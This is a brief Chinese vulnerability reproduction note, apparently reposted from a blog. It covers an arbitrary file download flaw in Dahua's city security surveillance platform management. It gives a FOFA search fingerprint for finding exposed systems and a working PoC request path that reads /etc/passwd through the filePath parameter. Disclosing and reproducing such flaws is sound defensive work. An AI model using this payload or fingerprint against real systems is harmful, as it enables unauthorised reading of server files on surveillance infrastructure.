1.大华城市安防监控系统平台管理存在任意文件下载漏洞
1.1.漏洞描述
大华城市安防监控系统平台管理存在任意文件下载漏洞,攻击者通过漏洞可以下载服务器上的任意文件。
1.2.漏洞影响
大华城市安防监控系统平台管理
1.3.FOFA
“attachment_downloadByUrlAtt.action”
2.漏洞复现
2.1.登录页面
2.2.抓包
刷新登录页面进行抓包,然后在数据包中添加POC。文章来源:https://www.toymoban.com/news/detail-544940.html
POC:/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
文章来源地址https://www.toymoban.com/news/detail-544940.html
到了这里,关于大华城市安防监控系统平台管理存在任意文件下载漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!